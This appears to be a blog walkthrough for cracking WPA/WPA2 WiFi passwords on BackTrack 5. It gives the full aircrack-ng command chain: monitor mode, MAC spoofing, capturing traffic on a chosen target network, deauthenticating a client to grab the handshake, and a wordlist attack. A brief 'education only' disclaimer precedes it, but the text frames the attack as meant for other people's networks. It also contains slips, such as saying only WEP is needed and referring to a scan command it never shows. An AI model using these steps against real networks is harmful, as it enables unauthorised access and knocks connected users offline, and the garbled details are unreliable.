By reading this you agree: That hacking – cracking WiFi or Wireless network password is illegal and everything you're about to learn here is for education purposes only and should not be used for any illegal or criminal activities as I will not be responsible for any trouble you may get into by hacking public WiFi or Wireless networks! My intentions here is to show you how vulnerable WiFi network security really is so YOU can better protect yourself form WiFi network hacks. All the hacking and cracking was done using my own router.
Hack wifi with backtrack 5 WPA-WPA2 password with dictionary or wordlist.
Hi guys thanks for visiting my blog! So here you will learn how to crack WPA-WPA2 password with dictionary or wordlist!
So lets get started!
Open up a new terminal and type:
airmon-ng start wlan0
That will put your wireless card into monitor mode!
Now if you want to change your wireless card MAC number just quickly type this:
ifconfig mon0 down
macchanger -s mon0
macchanger -m 00:11:22:33:44:55 mon0
ifconfig mon0 up
Notice: "00:11:22:33:44:55" is the fake MAC I use you can use a different one!
The next step is to look for wireless or WIFI networks! However if you live in a very populated area you will have a lot of WEP, WPA,WPA2 networks so the good thing about BackTrack is that it allows us to scan for the specific type of encryption OK! So we only need WEP so lets do it!
Once you locate the target network you want to hack press "CTRL+C" and that will stop the "airodump-ng"!
So far so good! Now we need to tell "airodump-ng" to specifically listen to this wifi network we want to hack cool!
airodump-ng mon0 -c "Channel" --bssid "BSSID - Router" -w wpa2
NOTICE! "wpa2" that is the name of the file that will store all the data that airodump-ng will be capturing very important!
NOTICE! For this crack to work the network you want to hack has to have at lest one client connected if not just wait until someone connects to it, or come back later and check if someone is connected!
Cool we have a client connected so lets continue cracking! Leave "airodump-ng mon0 -c "Channel" --bssid "BSSID - Router" -w wpa2" running and open up a new tap! We are going to force reconnection between router and the client and hopefully "airdump-ng" will capture handshake!
aireplay-ng -0 10 -a "BSSID - Router" -c "BSSID - Client" mon0
Now lets go back to "airodump-ng mon0 -c "Channel" --bssid "BSSID - Router" -w wpa2" and check the progress!
NOTICE: You should see “HANDSHAKE” word appear on the upper right corner! If you can't see that keep forcing reconnection between router and a client until you see “HANDSHAKE” word!
So now you can stop all the tabs and close them!
OK, so lets begin cracking WPA2 password! Open up a new terminal!
aircrack-ng wpa2-01.cap -w /root/Desktop/password.lst
NOTICE! If it is the first time you have started command “airodump-ng mon0 -c "Channel" --bssid "BSSID - Router" -w wpa2” the file will be called "wpa2-01.cap" once you stop and run command “airodump-ng mon0 -c "Channel" --bssid "BSSID - Router" -w wpa2” second time the file will be called "wpa2-02.cap" and you need to use "wpa2-02.cap" instead of "wpa2-01.cap" It is very important because if not “aircrack-ng” will say “0 handshakes”
NOTICE! "/root/Desktop/password.lst" that is the location of you dictionary or in my case wordlist!
Thanks have fun!
